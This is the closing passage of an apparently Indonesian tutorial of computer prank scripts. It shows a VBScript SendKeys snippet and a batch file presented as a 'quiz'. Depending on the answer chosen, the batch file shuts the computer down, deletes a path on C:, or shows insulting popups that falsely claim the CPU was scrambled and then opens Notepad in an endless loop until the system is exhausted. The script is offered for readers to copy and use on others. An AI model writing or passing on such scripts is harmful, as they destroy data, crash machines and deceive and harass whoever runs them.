WshShell.SendKeys "li"
WScript.Sleep 50
WshShell.SendKeys " y"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "

Ganti sendkeysnya, dan simpan dengan format *.vbs ...

10. Membuat kuis
copy:

@echo off
title quiz hari ini
:menu
cls
echo jika kamu kena virus apa yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Simpan dengan format *.bat ...

OK THAT’S ALL FOR TODAY THANK YOU FOR READING